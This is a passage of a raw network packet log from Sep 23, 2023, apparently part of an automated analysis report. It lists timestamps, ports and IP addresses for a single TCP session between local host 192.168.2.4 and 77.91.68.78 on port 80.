Sep 23, 2023 17:53:35.306828976 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306863070 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306865931 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306898117 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.306930065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306965113 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.306967020 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307001114 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307029963 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307065010 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307069063 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307101011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307161093 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307200909 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307259083 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307292938 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307296038 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307328939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307360888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307399988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307426929 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307463884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307492971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307532072 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307558060 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307594061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307631969 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307668924 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307671070 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307703972 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307704926 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307739019 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307743073 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307771921 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307774067 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307811022 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307869911 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307904959 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.307908058 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.307940006 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.308000088 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.308033943 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.308036089 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.308078051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.308166027 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.308204889 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.308208942 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.308240891 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.308270931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.308306932 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.308366060 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.308402061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.308460951 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.308506966 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.559911966 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.559977055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560003996 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560015917 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560043097 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560058117 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560095072 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560110092 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560129881 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560138941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560165882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560174942 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560204983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560211897 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560245037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560250998 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560281038 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560287952 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560317039 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560321093 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560359001 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560450077 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560488939 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560497046 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560538054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560551882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560590029 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560592890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560628891 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560633898 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560664892 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560672998 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560705900 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560750008 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560791969 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560830116 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560866117 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.560872078 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560905933 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.560977936 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561013937 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561018944 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561059952 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561065912 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561108112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561148882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561189890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561232090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561310053 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561337948 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561352015 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561388969 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561424971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561430931 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561466932 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561503887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561539888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561547041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561582088 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561661959 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561697960 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561707973 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561733007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561741114 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561773062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561814070 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561849117 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561856985 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561887980 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.561928034 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.561966896 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562010050 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562045097 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562050104 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562083006 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562087059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562119007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562163115 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562199116 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562211037 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562257051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562279940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562345028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562364101 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562400103 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562410116 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562441111 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562499046 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562535048 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562550068 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562568903 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562582016 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562617064 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562649012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562685013 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562696934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562730074 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562763929 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562799931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562809944 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562845945 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562865973 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562901974 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.562917948 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.562952042 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563024044 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563060045 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563088894 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563095093 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563107014 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563143015 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563177109 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563230991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563261032 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563296080 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563318014 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563350916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563379049 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563416958 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563430071 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563465118 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563497066 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563532114 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563550949 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563585043 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563611984 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563663006 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563694954 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563730955 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563747883 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563767910 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563780069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563819885 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563847065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563895941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.563944101 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563980103 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.563996077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564026117 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564060926 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564105034 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564142942 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564177990 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564198017 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564213991 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564239025 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564268112 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564337969 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564376116 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564388990 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564455032 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564490080 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564505100 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564539909 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564543009 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564589024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564620018 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564661980 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564698935 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564734936 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564748049 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564770937 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564780951 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564835072 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564902067 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564953089 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.564968109 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.564989090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565006971 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565025091 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565038919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565074921 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565104961 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565151930 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565184116 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565232992 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565263987 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565304041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565310001 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565352917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565382004 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565417051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565422058 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565458059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565494061 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565536022 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565572023 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565607071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565613031 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565644979 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565685034 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565721989 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565725088 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565758944 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565800905 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565835953 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565839052 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565874100 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.565956116 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565992117 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.565998077 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566030025 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566070080 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566104889 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566107988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566143036 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566184044 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566222906 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566263914 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566299915 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566302061 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566334963 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566338062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566373110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566454887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566489935 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566493988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566529036 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566586018 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566623926 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566675901 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566714048 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566754103 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566792011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566831112 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566870928 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.566953897 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.566992998 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567006111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567044020 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567085028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567120075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567122936 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567158937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567198992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567235947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567279100 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567320108 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567357063 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567398071 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567436934 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567476988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567516088 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567552090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567555904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567595005 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567631006 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567667007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567672014 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567707062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567827940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567863941 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567869902 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567904949 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.567944050 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567980051 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.567986012 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568018913 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568046093 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568084002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568136930 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568178892 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568218946 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568264008 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568298101 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568334103 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568337917 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568378925 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568412066 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568447113 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568450928 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568485975 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568536997 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568572044 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568577051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568620920 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:35.568650007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568685055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:35.568690062 CEST	49827	80	192.168.2.4	77.91.68.78
